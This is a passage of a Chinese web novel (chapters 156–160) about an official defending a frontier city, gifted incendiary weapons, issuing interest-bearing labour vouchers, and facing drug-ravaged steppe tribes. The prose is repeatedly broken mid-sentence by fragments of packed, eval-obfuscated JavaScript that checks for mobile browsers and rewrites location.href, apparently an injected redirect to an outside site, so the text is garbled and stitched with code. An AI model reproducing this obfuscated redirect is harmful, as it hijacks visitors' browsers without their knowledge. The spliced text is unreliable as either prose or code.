还有堆成小山的粮草麻袋和一箱箱用油纸精心包裹的珍贵药材。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990523|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>赵莽几乎是扑了过去。 他的手颤抖着,抚摸着那冰冷的甲片,又拿起一柄横刀,感受着刀身的重量与平衡。 “好甲……好刀……”他喃喃自语,像是在抚摸一件绝世珍宝。 这批物资,不仅仅是雪中送炭。 其数量之庞大,质量之精良,足以将顺城这三千残兵,从头到脚武装成一支真正的精锐之师! 陈平川心里感动,心头一热,暖流涌遍全身。 他深知,这批物资背后意味着什么。 靡费巨万暂且不说,私运军械,结交外臣,这任何一条都是足以动摇国本的大罪。 秦王这是将整个王府的命运,都压在了自己身上,这份情义,重如泰山,怕是此生都难以还清了。 老管事笑着走到陈平川面前,从怀中取出一封用火漆密封的信函,郑重地递了过去。 “大人,这是王爷给您的亲笔信。” 陈平川接过信,拆开。 信纸上,秦王那苍劲有力的字迹扑面而来。 信中对他大加赞赏,称其“有勇有谋,国之栋梁”,并再次提及了昭华郡主的婚事,言语间充满了期许和肯定。 信的末尾写道:守好顺城,待功成归来,本王亲自为你们主持大婚。 陈平川手握信纸,心中五味杂陈。 秦王的信任与支持让他感动,可信中对婚事的催促,却像一根针,轻轻扎了一下。 他的脑海中,闪过远在家乡那个为他默默等待的红色身影,又下意识地瞥了一眼不远处正指挥着士兵搬运物资的张若素。 她似乎感受到了什么,动作微微一顿,随即低下头,继续清点着数目,仿佛什么都没有发生。 …… 城楼的阴影下,梁坤将这一切看得清清楚楚。 当那成箱的军械物资被运入城中时,他的手脚开始变得冰冷。 他无论如何也想不到,那个远在封地的秦王,竟然会如此不遗余力地支持陈平川! 这已经不是简单的欣赏了,这是在用整个王府的资源,为陈平川铺路! 他原本坐等看陈平川被蛮族踏平的好戏,此刻,这种心态瞬间被一股巨大的恐惧所支配。 他猛然意识到,陈平川的背后,站着一股他无法撼动的力量。 冷汗,顺着他的额角滑落。 府衙前,一片忙碌而喜悦的景象。 老管事凑到陈平川身边,压低了嗓子。 “陈大人,王爷还有一句话让我带到。” 他顿了顿,一字一句地复述。 “他说,‘兵者,诡道也’。有时候,最好的防守,就是主动出击。” 管事神秘地笑了笑,朝着车队的末尾扬了扬下巴。 “这批物资里,还有一份王爷给您的‘特别的礼物’,或许能帮上您的大忙。” 第156章 古代黑科技?让蛮子感受绝望! 陈平川的目光,越过那些堆积如山的铠甲兵刃,最终落在车队末尾那辆最神秘的马车上。 那辆车比寻常马车要大上一圈,车身用厚重的黑布蒙得严严实实,周围的护卫数量也是其他车辆的两倍,一个个神情肃穆,手始终按在刀柄上,显然里面装着的东西非同小可。 “管事,这便是王爷所说的‘特别的礼物’?” 陈平川心中好奇,开口问道。 管事点了点头,对着那边的护卫头领使了个眼色。 “陈大人,请随我来。” 赵莽也按捺不住心头的好奇,一起凑了过来,一双眼睛瞪得像铜铃,盯着那辆马车。 护卫头领得到示意,亲自上前,小心翼翼地掀开了蒙在车厢上的厚重黑布。 黑布揭开,露出的并不是什么金光闪闪的宝物,也不是什么奇珍异兽。 车厢里,整整齐齐地码放着十几个半人高的大木桶,桶身被铁箍箍得结结实实,上面还贴着黄色的符纸,写着“小心火烛”四个大字。 在木桶的旁边,还堆放着一些黑乎乎、拳头大小的铁疙瘩,以及一堆看起来像是工匠用的工具和一些陶罐。 “这……这是何物?” 赵莽愣住了,他伸长了脖子,使劲闻了闻,空气中似乎飘散着一股刺鼻的硫磺和油脂混合的味道。 他征战沙场一辈子,自问见过的军械无数,却从未见过眼前这些古怪的东西。 老管事没有直接回答,而是从怀里又摸出一个小巧的油布包,递给陈平川。 “陈大人,这是王爷让我一并交给您的,里面是这些东西的用法和配方。” 他压低了声音,凑到陈平川耳边,说道。 “这些木桶里装的,是王府匠作营里最好的师傅,耗时数年才调配出来的‘猛火油’。” “一旦点燃,遇水不灭,沾物即燃,霸道无比。” “那些铁疙瘩,名为‘震天雷’,内藏**,引信点燃后抛出,轰然炸裂,十步之内,人马俱碎!” “王爷说了,对付那些不通教化的蛮子,就不能跟他们讲什么仁义道德,就得用他们没见过、也想不通的法子,打得他们怕,打得他们一辈子都不敢再南下一步!” 轰! 老管事的话,如同一个真正的“震天雷”,在赵莽的脑子里炸开了。 他整个人都僵在了原地,嘴巴张得能塞下一个鸡蛋,眼睛里写满了震撼。 猛火油! 震天雷! 光是听名字,就能想象出其毁天灭地的威力! 这……这哪里是什么礼物,这分明就是一堆能瞬间改变战局走向的大杀器啊! 他一把年纪,什么大风大浪没见过,可此刻,他感觉自己的心脏在胸腔里“怦怦”狂跳,几乎要从嗓子眼里蹦出来。 有了这些东西,再加上秦王送来的精良铠甲兵器,顺城军的战力何止是翻了一番? 简直是脱胎换骨! “王爷……王爷他……” 赵莽激动得声音都有些发颤,他望向陈平川,想说些什么,却发现自己已经语无伦次。 陈平川的心中,同样掀起了惊涛骇浪。 他比这个时代的任何人,都更清楚这些东西意味着什么。 这不就是古代版的**和**吗? 好家伙啊,秦王把自己的**库都搬来了?! 这事放在现代,跟私造核弹有什么区别? 秦王把这种级别的“黑科技”毫不犹豫地送到了自己手上。 这份信任,这份支持,已经不能用“重如泰山”来形容了。 这是在把身家性命都押在了自己身上! 他深吸一口气,强行压下心头的激动,郑重地对着老管事拱手,深深一拜。 “请管事代我转告王爷,此份大恩,平川没齿难忘!顺城在,我在!此战,必胜!” 他的声音充满了不容置疑的坚定。 管事见状,连忙扶起他,脸上笑开了花。 “陈大人言重了!王爷说了,都是一家人,不说两家话。您守住了顺城,护住了大业朝的北大门,就是对他最好的回报。” “这些东西,还请大人妥善保管,切勿走漏了风声。毕竟,这可是咱们的**锏。” 管事再次叮嘱道。 “我明白。” 陈平川点了点头,眼神变得锐利起来。 他看了一眼不远处城楼阴影下,那个一闪而逝的鬼祟身影,嘴角泛起一丝冷笑。 梁坤! 这个家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990524|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,肯定把秦王送来军械的事情看在了眼里。 不过,他看到的,只是自己想让他看到的。 真正的王牌,必须藏在最深处,在最关键的时刻,给敌人,也给某些“自己人”,一个永生难忘的“惊喜”! “赵将军!” 陈平川转头看向依旧处在震惊中的赵莽。 “此事,天知地知,你知我知,还有在场的这几位王府护卫知晓,绝不可让其他人知道,明白吗?” 赵莽猛地一个激灵,瞬间回过神来。 他看了一眼那辆马车,又看了一眼陈平川严肃的表情,立刻明白了事情的严重性。 这等大杀器,若是提前泄露出去,让蛮子有了防备,效果必然大打折扣。 甚至,若是让城中某些人知道了,恐怕又是一场泼天大祸。 “大人放心!” 他挺直了腰杆,对着陈平川郑重抱拳。 “末将以项上人头担保!此事若从我口中泄露半个字,甘受军法处置!” 陈平川满意地点了点头。 他又转向刘四海。 “刘掌柜,又要辛苦你一趟了。” 刘四海从刚才的震惊中反应过来,连忙上前。 “大人尽管吩咐!” “找一个绝对隐蔽、绝对安全的地方,把这车‘礼物’给我藏起来,派最信得过的人手日夜看守,任何人不得靠近!” 陈平川的语气严肃。 “另外,从明天开始,全城**!特别是城防修缮之地,除了干活的民夫和守城将士,任何人等,胆敢窥探者,杀无赦!” 一道道命令,从陈平川口中有条不紊地发出。 有了秦王的鼎力支持,有了这些超越时代的“大杀器”,一个比塔利罕的“釜底抽薪”之计,更加大胆、更加疯狂的计划,已经在他的脑海中,瞬间成型。 塔利罕想跟他玩阴的? 想跟他玩计谋? 那好,我就让你见识见识,什么叫降维打击! 他要设一个局,一个前所未有的大杀局! 不但要守住顺城,更要借此机会,将这几个蹦跶得最欢的蛮族部落,一次性打残、打废! 让他们从此以后,听到“陈平川”这三个字,就吓得浑身发抖! 第157章 钱不够?我用一张券盘活一座城! 夜深。 知州府衙的书房内,灯火通明。 陈平川、赵莽、张若素、刘四海四人围坐在顺城及周边的地形图前,气氛凝重。 秦王送来的物资,解决了兵甲粮草的燃眉之急,但这只是让顺城有了打仗的底气。 最根本的问题还没有解决——钱! “大人,按照您的吩咐,招募民夫修缮城墙的告示已经贴出去了。百姓们听说是您主持,又是为了保卫家园,热情很高,一天时间就招募了近五千人。” 刘四海率先开口,汇报着情况,但脸上却带着一丝忧虑。 “只是……这么多人,每天光是工钱和伙食,就是一笔天文数字。我们公济库里剩下的那点银子,实在是……” 他没有说下去,但在场的人都明白。 那点钱,无异于杯水车薪,恐怕连三天都撑不住。 赵莽也是一脸愁容。 “是啊大人,不光是修城墙,我今天盘点了一下,城中各处的防御工事,比如滚木礌石、箭楼、陷马坑,都需要大量的木材和石料,这些也都要花钱去买。” “巧妇难为无米之炊,咱们现在是空有兵甲,却没钱把这顺城打造成一个真正的铁桶啊!” 老将军一声长叹,道出了众人心中最深的忧虑。 没钱,一切都是空谈。 陈平川手指轻轻敲击着桌面,目光在地图上缓缓移动,大脑飞速运转。 钱,钱,钱! 英雄好汉,也得被一文钱难倒。 他前世好歹也是个文科生,对于经济学也略知一二。 历朝历代,遇到战争,最头疼的就是军费问题。 无非就是加税、发国债、印钱这几条路。 加税肯定不行,顺城百姓本就贫苦,再加税就是逼他们**。 印钱? 他倒是想,可他没那个权力,也没那个技术。 那就只剩下最后一条路了。 一个念头,如同闪电般划过他的脑海。 “发债!” 陈平川突然开口,吐出了两个字。 “发债?” 赵莽和刘四海一脸茫然,显然没听懂这个新鲜词汇。 倒是张若素,冰雪聪明,她立刻联想到了什么,眼睛一亮。 “大人的意思是……向百姓借钱?” “不。” 陈平川摇了摇头,嘴角勾起一抹自信的笑容。 “不是借钱,是发行一种凭证。” 他站起身,走到书桌前,拿起毛笔,在一张白纸上迅速写写画画。 很快,一张简易的“债券”雏形就出现在纸上。 “我们没钱给民夫发工钱,但我们可以给他们发这个东西,我称之为‘劳务券’。” 陈平川将纸展示给众人看。 “这上面,会写明持券人的姓名、工作日期、应得工钱数额,然后盖上我顺城知州府的大印。” “我们向所有百姓承诺,此券,就是官府开出的欠条!等我们打退了蛮族,或者府库充裕之后,百姓可以随时凭券来公济库兑换成等额的现银!” 刘四海听得一愣一愣的,他经商多年,见过的花样不少,但这种玩法还是头一回听说。 他皱着眉头,提出了自己的疑问。 “大人,这……这不就是空手套白狼吗?百姓们会信吗?万一他们觉得这就是一张废纸,不愿意干活怎么办?” 他的担心,也正是赵莽和张若素所担心的。 在这个时代,老百姓最认的就是实实在在的铜钱和白银。 你给他们一张纸,告诉他们以后能换钱,谁信啊? “问得好。” 陈平川笑了。 “如果只是这样,百姓们当然不会信。所以,我们还要加上最关键的一条。” 他拿起笔,在“劳务券”的下面,又加了一行小字。 “凡持有此券者,除了可以兑换本金外,官府还将支付利息!” “利息?” 三人都愣住了。 “没错,就是利息。” 陈平川耐心解释道。 “举个例子,一张面额一百文的劳务券,如果一个月后兑换,我们官府就支付一百零五文。如果两个月后兑换,就支付一百一十文!持有时间越长,能兑换的钱就越多!” “我们还要向全城百姓公布,这些劳务券,不仅可以兑换现银,还可以在城内自由流通、买卖、甚至抵押!它就是钱!一种比铜钱更方便、未来价值更高的钱!” 这番话,彻底把刘四海和赵莽给说蒙了。 他们感觉自己的脑子有点不够用了。 一张纸,不仅能当钱花,放着不动还能自己“生”出更多的钱来? 天底下还有这种好事? 倒是张若素,她出身书香门第,又精通算学,反应极快。 她的眼睛越来越亮,呼吸都有些急促起来。 “大人,若素明白了!” 她激动地站起身。 “您这是在用官府的信誉,为这张纸作保!只要百姓相信官府,相信大人您,他们就会接受这张‘劳务券’!” “而‘利息’的存在,更是神来之笔!它会让那些不急着用钱的百姓,更愿意将劳务券留在手里,等着它‘生’出更多的钱。这样一来,就大大减轻了我们短期内兑换的压力!” “百姓们拿到了凭证,干活有了盼头。我们用最小的代价,解决了最大的难题!大人,此计……实在是高明至极!” 张若素看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990525|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着陈平川,眼中异彩连连。 这个男人,脑子里到底还装着多少匪夷所思,却又精妙绝伦的想法? 从整顿军队,到改革战法,再到如今这石破天惊的“金融之术”,他每一次出手,都让她感到前所未有的震撼。 被张若素一点拨,刘四海和赵莽也恍然大悟。 刘四海一拍大腿,兴奋地说道:“我懂了!我懂了!这就像我们商号里开的‘会票’,但比会票更厉害!会票只能存取,您这个‘劳务券’还能增值!” “有了利息这个诱饵,老百姓就不急着兑换了!我们就有足够的时间,去筹集资金,打赢这场仗!高!实在是高啊!” 赵莽虽然对这些弯弯绕绕还是一知半解,但他也听明白了核心。 那就是,能不花钱,或者说暂时不花钱,就把城墙修好! “好!就这么办!” 老将军一拍大腿。 “只要能守住顺城,别说发纸条,我赵莽也愿意豁出这张老脸……就怕老百姓不认。” 刘四海哈哈一笑,打趣道:“别说您,除了陈大人的脸之外,谁都不好使!” 大家都笑起来,陈平川点了点头。 “好!此事就这么定了!” 他看向刘四海。 “刘掌柜,印刷劳务券、向百姓宣传解释的事情,就交给你了。你是生意人,嘴皮子利索,这事你最擅长。” “大人放心!保证办得妥妥当当!” 刘四海拍着胸脯保证。 “若素。” 陈平川又看向张若素。 “劳务券的发放、登记、防伪、核算,工作量巨大,需要你来统筹。每一张券,都要有据可查,不能出半点纰漏。” “是,大人。” 张若素郑重点头,接下了这个重任。 最后,陈平川的目光落在了赵莽身上。 “赵将军,你的任务最重。” 他走到地图前,手指在上面画了一个大大的圈。 “从明天开始,你亲自带队,将我们城外所有的关键隘口、道路,都给我布满陷阱!不管是陷马坑、绊马索、还是涂了毒的竹签,能用的法子都给我用上!” “我要让蛮子的骑兵,还没到顺城墙下,就先掉一层皮!” “还有……” 陈平川的声音压低了几分,眼中闪过一丝寒光。 “派我们最精锐的斥候营,二十四小时不间断地给我盯着城外!特别是那个塔利罕!我要知道他的一举一动!他今天吃了什么,喝了什么,拉了什么,我都要一清二楚!” “既然他想玩计谋,那我就陪他好好玩玩!” “我要让他知道,在我面前,他那点小聪明,不过是个笑话!” 第158章 劳务券收买人心,死亡局引君入瓮! 第二天一大早,顺城的大街小巷,就因为几张刚刚张贴出来的告示,彻底沸腾了。 告示的内容,正是陈平川连夜炮制的“劳务券”发行章程。 “快来看啊!官府招工修城墙,不发现钱,发一种叫‘劳务券’的纸条!” “啥玩意儿?拿纸条当工钱?这不是糊弄人吗?” “你懂个屁!告示上写得清清楚楚,这劳务券能有利息!放一个月,一百文能多拿五文钱呢!” “真的假的?天底下还有这等好事?钱放着不动还能自己生钱?” 告示前,围满了黑压压的人群,识字的念给不识字的听,一时间议论纷纷,说什么的都有。 有的人觉得这是天大的好事,陈大人是青天大老爷,肯定不会骗人。 有的人则将信将疑,觉得这事儿透着古怪,生怕自己辛辛苦苦干了活,最后拿到手的是一张废纸。 就在众人议论不休的时候,刘四海带着几个账房先生,在城中心最热闹的十字路口,搭起了一个高台。 “各位父老乡亲,静一静!静一静!” 刘四海站在高台上,拿着一个铁皮卷成的喇叭,扯着嗓子大喊。 “我刘四海在顺城做生意也不是一天两天了,我用我刘家的信誉给大家担保!陈大人这次发行的劳务券,绝对童叟无欺,但凡有一张兑不了现,大家就来砸我刘家的铺子!” 他让人抬上一个大箱子,当着所有人的面打开,里面是码放得整整齐齐,刚刚印刷出来的劳务券。 “大家看!这劳务券,用的是最好的竹纸,上面不仅有知州府的大印,还有陈大人和我的亲笔画押!” “这利息的算法,也给大家说明白了!比如:一天工钱五十文,你拿到一张五十文的劳务券,一个月后,你就能来公济库换五十二文半!两个月就是五十五文!” “而且,这劳务券,还能在我刘四海城里所有的铺子,米铺、布庄、杂货店,全都能当钱花!你拿着它来买东西,我给你按票面价值算,一文钱都不少你的!” 刘四海的这番话,尤其是最后一句,像一颗定心丸,瞬间打消了大部分人心中的疑虑。 刘四海是谁? 陈大人的左膀右臂,顺城有名的大商人! 连他都认这个劳务券,那肯定假不了! 人群中,一个胆子大的汉子高声问道:“刘掌柜,那我要是急用钱,想把这券换成现钱,行不行?” “当然行!” 刘四海大手一挥。 “你随时可以拿着券来我的钱庄兑换!只不过,我只能按票面价值给你兑,那利息可就没了!你自己琢磨琢磨,是现在换划算,还是放一放再换划算?” 这下,人群彻底炸开了锅。 “哎呀!这敢情好啊!不想等就换钱,想多赚点就等等!” “陈大人真是为咱们老百姓着想啊!” “走走走!报名去!给陈大人修城墙,保卫咱们自己的家,还有钱赚,这好事上哪儿找去!” 原本还在观望的百姓,此刻再无犹豫,潮水般地涌向了招工点。 仅仅一个上午,报名的人数就突破了八千! 整个顺城,都变成了一个热火朝天的大工地。 百姓们的热情被彻底点燃,他们扛着石料,搬着木头,脸上洋溢着对未来充满希望的笑容。 而在城墙之上,陈平川负手而立,静静地看着城下这片繁忙而充满生机的景象。 他的脸上,露出了欣慰的笑容。 民心可用! 有了百姓的支持,这一战,他便多了几分胜算。 “大人,您看那边!” 身旁的赵莽突然低声说道,同时抬手指向了北方远处的地平线。 陈平川顺着他指的方向望去。 只见远方的草原上,出现了一队小黑点。 那是一队蛮族的骑兵,大约有百十来人,正在旷野上不紧不慢地移动着,似乎在窥探着什么。 为首的一骑,格外出众。 那人跨坐在一匹神骏的黑色战马上,即便隔着这么远的距离,也能感受到他身上散发出的那股如雄鹰般桀骜的气息。 一定是他! 塔利罕! 陈平川的瞳孔微微一缩。 他几乎可以肯定,那个遥遥望着顺城的蛮族青年,就是他此行最大的对手。 仿佛是感受到了城墙上的注视,远处的塔利罕也勒住了马缰,抬起头,目光如电,穿过遥远的空间,与陈平川的视线在空中交汇。 没有言语,没有动作。 但那一瞬间,两个素未谋面,却注定要进行一场生死对决的年轻人,都从对方的眼中,读懂了彼此的身份和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990526|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决心。 那是一种棋逢对手的凝视,也是一种不死不休的战意! 塔利罕的眉头,紧紧地皱了起来。 他这几天,几乎每天都会带人来顺城周边侦察。 城里发生的一切,他都看在眼里。 那个汉**官,果然不一般,又是整顿军队,又是修缮城防。 摆明要和他们蛮族大干一场! 尤其是今天,他看到数以千计的汉人百姓,如同蚂蚁搬家一般,热火朝天地在城墙上忙碌着。 那种高昂的士气,那种万众一心的凝聚力,是他以前在汉人身上从未见过的。 他心中那股不安的感觉,越来越强烈。 这个叫陈平川的汉人,和他以前遇到的所有大业朝官员,都不一样。 他不仅阴险,而且手段高明,竟然能在这么短的时间内,就将一座死气沉沉的边城,变得如此富有活力。 “少主,那些汉人在干什么?他们不怕我们吗?” 旁边的一个亲卫不解地问道。 塔利罕没有回答,只是再次深深地看了一眼城墙上那个挺拔的身影,然后拨转马头。 “我们走!” 他知道,自己那个“示敌以弱,暗度陈仓”的计划,恐怕已经被对方看穿了。 硬攻顺城,绝对不是一个明智的选择。 他必须重新审视这个对手,重新制定作战计划。 看着塔利罕的骑兵队如潮水般退去,赵莽长长地松了一口气。 “大人,这个塔利罕,果然名不虚传,年纪轻轻,竟然如此沉得住气。” “他不是沉得住气,他是闻到了危险的味道。” 陈平川淡淡地说道。 “一头真正的狼,在没有绝对把握之前,是不会轻易亮出自己的獠牙的。” 他转过身,对赵莽下令。 “传令下去,城墙的修缮,速度再快一倍!天黑之前,必须完成第一道防线的加固!” “另外,把我们准备的‘惊喜’,布置更隐蔽一点!” “塔利罕不是喜欢窥探吗?那我就让他看个够!” 陈平川的眼中,闪烁着冷冷的光芒。 “我要让他以为,我们所有的布置,都在他的眼皮子底下。等他自以为看穿了一切,大举进攻的时候,才会发现,他踏入的,是一个为他精心准备的死亡陷阱!” 第159章 一波未平一波又起,十万火急军情! 往日里只闻烈马嘶鸣、勇士高歌的黑狼部落营地,此刻却被一种截然不同的声音笼罩——那是撕心裂肺的哀嚎,不时从一个个营帐里传出来。 塔利罕面沉如水,所到之处,看到的景象让他心如刀绞,怒火中烧。 那些能征善战的草原勇士,此刻一个个都像烂泥一样瘫在地上。 有的浑身抽搐,口吐白沫,如同犯了羊癫疯。 有的则用脑袋疯狂地撞击着帐篷的木桩,撞得头破血流,却仿佛感觉不到疼痛。 更多的人,则是蜷缩在角落里,涕泪横流,发出野兽般绝望的呜咽,苦苦哀求着看守他们的族人,只为能再吸上一口那让他们魂牵梦绕的“神仙膏”。 “绑起来!全都给我绑起来!” 塔利罕的声音冰冷得不带一丝感情,在混乱的营地中清晰地回荡。 “谁敢反抗,直接打断他的腿!谁敢为了那鬼东西自相残杀,就地处决!” 他下达了最严酷的命令。 为了让部落的战士们戒掉毒瘾,他不得不采取最原始、最粗暴的办法。 他知道这样做很残忍,但他更清楚,如果现在不狠下心,整个黑狼部落,乃至整个草原,都将万劫不复! “少主……求求你……给我一点……就一点点……” 一个曾经跟着他父亲出生入死的老兵,此刻抱着他的腿,哭得像个孩子。 “我快要**……我的骨头里像有几万只蚂蚁在爬……求求你了……” 塔利罕看着他那张因为痛苦而扭曲的脸,看着他那双浑浊不堪,充满了乞求的眼睛,心脏猛地抽搐了一下。 但他没有丝毫犹豫,一脚踹开那个老兵,眼神冷酷。 “想死?可以!等你戒掉了这鬼东西,恢复成一个真正的草原勇士,我陪你堂堂正正地去战场上送死!” “现在,你这副鬼样子,连死的资格都没有!” 他转过身,不再去看那些痛苦的族人,大步流星地走向父亲的王帐。 王帐内,他的父亲,黑狼部落的老首领,情况比外面的战士好不了多少。 虽然没有被绑起来,但他同样脸色蜡黄,精神萎靡,整个人仿佛被抽走了精气神,一下子苍老了十几岁。 看到塔利罕进来,他浑浊的眼睛里闪过一丝光亮,挣扎着想要坐起来。 “儿子……快……快给我一点神仙膏……我……” “没有!” 塔利罕不等他说完,就冷硬地打断了他。 “从今天起,部落里所有的神仙膏,都已经被我下令销毁了!谁也别想再碰那东西一下!” “混账!” 老首领勃然大怒,他抄起身边的马鞭,颤抖着指向自己的儿子。 “你……你这个不孝子!你想毁了我们黑狼部落吗?没有了神仙膏,我们的战士怎么活?我们拿什么去跟汉人打仗?” “打仗?” 塔利罕听到这两个字,几乎要气笑了。 “父亲!你醒醒吧!你看看外面那些战士,他们现在这个样子,还能叫战士吗?他们连弓都拉不开,刀都举不起来!我们部落最精良的战马,最锋利的兵器,都被拿去换了那能毁掉一切的**!” “我们现在,拿什么去跟汉人打仗?用那些瘾君子的哀嚎吗?” 老首领嘴唇颤抖着,说不出话来。 “父亲,你总说,我们草原的勇士,是狼,是鹰!我们敬畏长生天,我们崇拜力量!” 塔利罕双眼赤红地看着自己的父亲。 “可你看看,我们现在成了什么?成了被**操控的傀儡!成了那个汉**官陈平川砧板上的鱼肉!他甚至不用动一兵一卒,就能让我们自己把自己玩死!” “他比草原上最狡猾的狐狸还要阴险!他给我们神仙膏,不是恩赐,是**!他是在用这种不见血的方式,来征服我们整个草原!” 塔利罕的吼声,在王帐中回荡。 老首领被儿子的这番话彻底镇住了。 他呆呆地坐在兽皮上,浑浊的眼睛里,第一次露出了迷茫和恐惧。 是啊…… 他想起了前几天,两个最好的猎手,为了抢夺一小盒神仙膏,竟然拔刀相向,最后双双死在血泊之中。 他想起了部落里,那些曾经壮硕如牛的汉子,如今一个个精神萎靡,眼神空洞,如同行尸走肉。 难道……难道自己真的错了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990527|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个年轻的汉**官,真的有如此可怕的心机和手段? 看到父亲的神情终于有所松动,塔利罕知道,自己的话起作用了。 他放缓了语气,走到父亲身边,单膝跪了下来。 “父亲,现在醒悟,还为时不晚。” “我已经和秃鹫、苍鹰部落的首领暗中联络过了,他们部落的情况和我们一样糟糕。我们必须联合起来,共同度过这个难关。” “只要我们的战士能戒掉毒瘾,恢复战斗力,我们就是草原上最强大的雄鹰!” “到时候,我们再集结所有兵力,攻破顺城,活捉那个陈平川!将他施加在我们身上的耻辱,千倍百倍地还回去!” 老首领看着自己的儿子,看着他那张年轻却写满了坚毅和智慧的脸,浑浊的眼中,终于重新燃起了一丝希望的光芒。 他伸出干枯的手,紧紧握住塔利罕的肩膀。 “好……好儿子……你说得对……你比我强……” “从今天起,黑狼部落,就交给你了!你想怎么做,就放手去做!所有族人,都听你的号令!” “我们……一定要让那个汉人付出代价!” 得到了父亲的全力支持,塔利罕的心中,一块大石终于落地。 他知道,戒毒的过程会非常痛苦,甚至会**。 但他别无选择。 这是他们唯一的生路。 他走出王帐,看着远处连绵的群山,目光再次投向了顺城的方向。 陈平川…… 你等着。 等我的勇士们重新拿起弯刀,跨上战马,我塔利罕,一定会亲手拧下你的脑袋,用你的头颅,来洗刷我们草原的耻辱! 就在顺城内外热火朝天,塔利罕在部落中铁腕戒毒之时,一骑快马,从西边的官道上疾驰而来。 骑士的背上插着三根代表十万火急的令旗,坐下的战马已经口吐白沫,显然是经过了长时间的极限狂奔。 城门上的守军先是弓上弦,刀出鞘,待看清来人是大业朝的信使,顿时一阵骚动。 “开门!快开门!鹰嘴关急报!十万火急!” 人还没到顺城门下,骑士那焦急嘶哑的吼声已经远远传来。 第160章 立威之战!就拿五千铁骑开刀! 城楼上的守军不敢怠慢,立刻打开了城门,同时飞速派人向知州府衙禀报。 片刻之后,那名浑身是血,灰头土脸的信使,被带到了陈平川的面前。 他一进书房,就“扑通”一声跪倒在地,声音里带着哭腔。 “陈大人!救命啊!鹰嘴关快要守不住了!” 陈平川心中一凛,连忙上前将他扶起。 “别急,慢慢说,到底发生了什么事?” 赵莽和张若素也闻讯赶来,脸上都写满了凝重。 那信使喘着粗气,断断续续地将情况说了出来。 “是……是秃鹫部!秃鹫部的那个疯子首领,不知道发了什么疯,昨天下午,突然带着他们部落至少五千骑兵,猛攻我们鹰嘴关!” “我们关内只有八百守军,兄弟们拼死抵抗,可……可蛮子太多了!他们像疯了一样,一波接着一波地冲,城墙本来就破旧不堪,几轮猛攻下来,被他们冲开好几个口子了!” “我们都指挥使大人,为了堵住缺口,已经……已经战死!” 说到这里,信使再也忍不住,失声痛哭起来。 “大人!再不派援军,鹰嘴关今天日落之前,就彻底完了!关内的几千军民,也全都要死在蛮子的刀下啊!” 什么?! 赵莽闻言,脸色大变,一拳狠狠地砸在桌子上。 “秃鹫部!他们怎么敢!” 他焦急地对陈平川说道:“大人,鹰嘴关是我们顺城西边的门户,此关若失,蛮子的骑兵就可以长驱直入,绕过我们的正面防线,直接威胁到顺城的侧翼!到时候,我们就会陷入腹背受敌的绝境!” 陈平川快步走到地图前,视线落在顺城西侧一个险要的关隘上。 “鹰嘴关……” 赵莽的语气急促而又凝重:“所以,大人,鹰嘴关,必须救!而且要立刻去救!” 张若素的脸色也变得一片煞白。 她虽然不懂军事,但也听明白了赵莽话里的意思。 鹰嘴关的安危,直接关系到顺城的生死存亡。 陈平川的眉头,紧紧地锁了起来。 情况,比他预想的还要复杂。 他本来以为,塔利罕会整合好所有部落的力量,再发动总攻。 没想到,秃鹫部竟然提前单干了。 为什么? 陈平川的脑子飞速转动。 很快,他就想通了其中的关窍。 赵莽说过,秃鹫部的首领,性情暴虐,有勇无谋。 一定是部落因为强制戒毒带来了混乱,让他彻底失去了耐心。 